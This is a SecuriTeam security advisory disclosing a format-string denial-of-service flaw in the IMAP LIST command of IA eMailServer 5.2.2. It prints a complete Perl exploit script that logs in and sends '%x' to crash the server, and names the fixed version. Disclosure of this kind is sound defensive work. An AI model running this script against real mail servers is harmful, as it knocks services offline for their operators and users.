[NT] IA eMailServer DoS (Format String)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

IA eMailServer DoS (Format String)
------------------------------------------------------------------------

SUMMARY

<http://www.tnsoft.com/> IA eMailServer is "an email server that supports
SMTP, POP3 and IMAP".

Lack of proper command filtering allows attackers to stop the IA
eMailServer from running.

DETAILS

Vulnerable Systems:
* IA eMailServer Corporate Edition version: 5.2.2. Build: 1051

Immune Systems:
* IA eMailServer Corporate Edition version: 5.3.4. Build: 2019

The IMAP4 LIST command is not properly filtered, and allow attackers to
place the chars %x as the second argument to the LIST command. Placing
the chars will cause the MailServer.exe to crash.

Exploit:
#===== Start IAeMailServer_DOS.pl =====
#
# Usage: IAeMailServer_DOS.pl <ip>
# IAeMailServer_DOS.pl 127.0.0.1
#
# True North Software, Inc. IA eMailServer Corporate Edition
# Version: 5.2.2. Build: 1051.
#
# Download:
# http://www.tnsoft.com/
#
###############################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "143",
Proto => "TCP"))
{
print "Attempting to kill IA eMailServer at $ARGV[0]:143...";

sleep(1);

print $socket "0000 LOGIN hello moto\r\n";

sleep(1);

print $socket "0001 LIST 1 \%x\r\n";

close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:143\n";
}
#===== End IAeMailServer_DOS.pl =====

ADDITIONAL INFORMATION

The information has been provided by <mailto:reedarvin@gmail.com> Reed
Arvin.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.